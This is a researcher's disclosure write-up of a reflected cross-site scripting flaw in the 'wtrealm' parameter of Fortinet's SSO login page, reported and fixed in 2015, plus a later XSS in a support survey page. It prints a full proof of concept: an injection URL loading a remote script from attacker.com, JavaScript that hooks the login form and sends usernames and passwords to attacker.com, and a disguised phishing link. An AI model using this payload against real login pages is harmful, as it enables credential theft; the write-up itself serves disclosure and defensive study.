SSO authentication page of one of Fortigate IdP presents a Cross-Site Scripting vulnerability which can be used to steal user credentials in plaintext.
Introduction
Companies and current majors turn increasingly to identity federation. A central and single repository containing users credentials (login / password) like LDAP, AD, etc., a single web application centralized authentication (commonly referred to IdP for IDentity Provider) and federation protocols including standards SAML, WS -FED, OAuth, OpenID, etc.
The advantage of identity federation?
- The protocols are secure and standardized
- Sensitive credentials (passwords) no longer need to transit in clear during networks exchanges since the federation is based on trust between the parties.
- Users data are centralized, facilitating management / renewal / update / cancellation / revokation.
However, keep in mind that the user has only one pair of credentials to remember. Those present in the central repository (LDAP / AD) and it uses only through the SSO authentication page. So if this authentication page is compromised and / or vulnerable, all federated applications are impacted.
Case History: Fortinet
Fortinet, the US multinational founded in 2000 and specializes in equipment / appliances of high performance-safety network was vulnerable to such an attack vector. Fortinet is also a leader in the Unified Threat Management solutions (UTM) and positions itself as a world leader in security solution after Cisco Systems and CheckPoint.
Fortinet set up a mechanism of SSO / federation for its various platforms. Thus, when attempting to access certain areas of the editor and services without being authenticated, we are redirected to a single authentication page. This is particularly the case for areas:
We are automatically redirected to “https://login.fortinet.com” which is the central IdP page for authentication.
Analysis and exploitation
Canonical RXSS with alert()
This redirection to the domain “login.fortinet.com” is accompanied by several GET parameters that, after successful authentication, redirect the user to the service expected. Example:
https://login.fortinet.com/login.aspx?ReturnUrl=%2f%3fwa%3dwsignin1.0%26wtrealm%3dhttps%253a%252f%252fsearchsupport.fortinet.com%252f%26wctx%3drm%253d1%2526id%253dpassive%2526ru%253d%25252fdefault.aspx%26wct%3d2015-12-07T12%253a27%253a53Z%26LoginMethod%3dLDAP&wa=wsignin1.0&wtrealm=https%3a%2f%2fsearchsupport.fortinet.com%2f&wctx=rm%3d1%26id%3dpassive%26ru%3d%252fdefault.aspx&wct=2015-12-07T12%3a27%3a53Z&LoginMethod=LDAP
Among these parameters, the “wtrealm” is vulnerable to an injection of reflected JavaScript code (RXSS) :
https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP
Overview :
At the source, no verification of the value of the “wtrealm” is performed:
As the “wtrealm” parameter is changed, it no longer corresponds to a service provider (SP for Service Provider) trusted in the implementation of the Federation of Fortinet. So after the alert, an explicit message is visible on the login page:
Designing a payload for exploitation
In this case, the RXSS is located directly on the centralized authentication page. Thus, no need to create a fake login page to deceive potential victims.
The execution of arbitrary JavaScript in the context of the page being performed successfully, an attacker can load a remote JS script (as long as it is accessible through HTTPS – HSTS protocol) and change the DOM browser victims.
Such payload in a remote JS script would eg:
- Hide error message present on the login page to avoid that the victim had suspicions.
- Change the behavior of the HTML form submission (login / password POST) of a legitimate user by inserting arbitrary treatment (hook).
The current authentication form basically sending the user data seeking to authenticate to the target specified in the attribute “<form action=TARGET>”.
To add arbitrary behavior just before the legitimate form submission, the idea is to use the event “onsubmit” on tag “form”. Indeed, it is always the events “on*” on tags that are executed before the standard attributes such “action=” or “href=” xHTML tags.
As an example, consider a simple tag following hyperlink:
<a href="https://www.google.com" onclick="this.href='https://www.asafety.fr'">Go to Google.com ? :)</a>
Which site do you visit? The one indicated by the browser status bar? 🙂
It’s exactly the same principle to a web form:
<form action="https://site.com/target" onsubmit="this.action='https://attacker.com/target'">
Note: The “action=” event following an “onsubmit=” of a “form” tag can be blocked if the JavaScript code “onsubmit=” return “false”. Same thing for a “a” tag between the event “onclick=” and “href=”.
To carry out the operating PoC, hiding the error message and changing the behavior of the form, the attacker can use the following x.js file:
//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/); // Add JQuery dynamically if needed var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'https://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); // jquery dynamic loading // function to send through GET the login/password of the victim to the attacker's server function sendX(login, passwd){ var x=document.getElementsByTagName('head')[0]; var y= document.createElement('script'); y.type= 'text/javascript'; y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd; x.appendChild(y); } // function to recover the form submit action event function submitX(){ document.forms[0].onsubmit=function() { return true; // enable the form "action" }; document.forms[0].submit(); } // function to hook the login form and add an onsubmit action (before the form action) function loadX(){ $( document ).ready(function() { $("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page document.forms[0].onsubmit=function() { login=document.getElementById("contextHolder_Login_name").value; passwd=document.getElementById("contextHolder_Login_password").value; sendX(login,passwd); // retrieve login/password setTimeout("submitX()", 1000); // recover initial form submit action return false; // block the form "action" }; }); } setTimeout('loadX()', 2000);
Once x.js file hosted on “https://attacker.com/x.js”, and loaded in the victim DOM browser visiting “login.fortinet.com”, the following changes result occur:
- The error message with id “contextHolder_InvalidRPAddress” is deleted.
- The event “onsubmit” in the authentication form is created, and a function that sends the values entered in the “contextHolder_Login_name” and “contextHolder_Login_password” to a script “https://attacker.com/x.php” is set up (hook).
- The post-execution of the form action is blocked until the data have been transmitted on the malicious site.
- Then, after transmission, the behavior of the form is reset and the legitimate authentication takes place.
For the victim, besides an additional authentication time of one second, no change is visible.
The file x.js is loaded into the DOM of a victim via a URL like this:
https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP
The arbitrary script is loaded into the navigation context:
We can see that the error message is no longer visible. We concluded that the alteration of the DOM is functional and therefore the behavior of the form was changed.
Exploitation and demonstration
The attacker can then start a phishing campaign / spear-phishing from the exploitation of the vulnerability in URL. It can target sysadmins / DSI / Corporate RSSI featuring Fortinet equipment, and therefore usurp their credentials.
Example of a page as an illustration:
You need support for your Fortinet Product?<br /> Please login to the supportcenter here : <a target="_blank" href="https://searchsupport.fortinet.com/" onclick="this.href='https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/%3Cscript%3Es%3Ddocument.createElement%28%27script%27%29%3Bs.setAttribute%28%27src%27%2C%27%2f%2fattacker.com%2fx.js%27%29%3Bdocument.body.appendChild%28s%29%3B%3C%2fscript%3E&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP'">https://searchsupport.fortinet.com/</a>
Overview:
Attacker can consult his “https://attacker.com/x.txt” file to recover credentials in plaintext of all victims:
A demonstration video was produced to support the criticality of the vulnerability to the Fortinet teams:
Notification and Conclusion
Fortinet teams were informed on the day of the discovered attack vector (06.11.2015) through their ticketing system and security support (PSIRT). After validation and recognition of the vulnerability a few days later, a correction was conducted on 02.12.2015.
Hello,
Thank you for your report and my apologies for the delay in responding.
Our development team has confirmed your report and we are working on a fix now.I will update you with an ETA.
Thanks!
The vulnerability is now fixed and non-exploitable.
Keep in mind that although the mechanisms and technologies of SSO / Identity Federation are secure and very fashionable now, poor implementation at the central authentication page may corrupt the entire system.
Users who have only one couple of credential to remember, if it is stolen, all the federated applications can be compromised.
I want to finish salute the teams of Fortinet for their kindness during our exchanges and correction speed (compared to other publishers in the same sector). also thank you for the quality of their products and services.
Update of 03.03.2016 :
After the report of the vulnerability on the authentication of IdP page, and fixing it, the ticket on the Fortinet tracking system was closed. Once a ticket is closed on this platform, the author of the ticket (myself), receives an email to perform a “satisfaction survey” (Customer Satisfaction Survey Request).
Wishing welcome the correction speed of vulnerability and courtesy of Fortinet teams, I thought “go, for once, you’ll answer their questionnaire” (positively of course).
So I followed the link “Click here to take survey” of the mail pointing to:
http://support.fortinet.com/survey/Survey.aspx?ticketid=ID
Seeing the parameter of the URL, I naturally reiterated my analysis by attempting to inject characters in the “TicketID”
Um, better, they integrated injected characters and strings filtering. Digging Deeper … and …
Rebelote !
Another Ticket been created few minutes after the close of the previous. But this XSS has not been corrected quickly (3 months later), hence the timeliness of this present article.
In any case, it is protected now I can do the satisfaction survey again!
Sources & resources :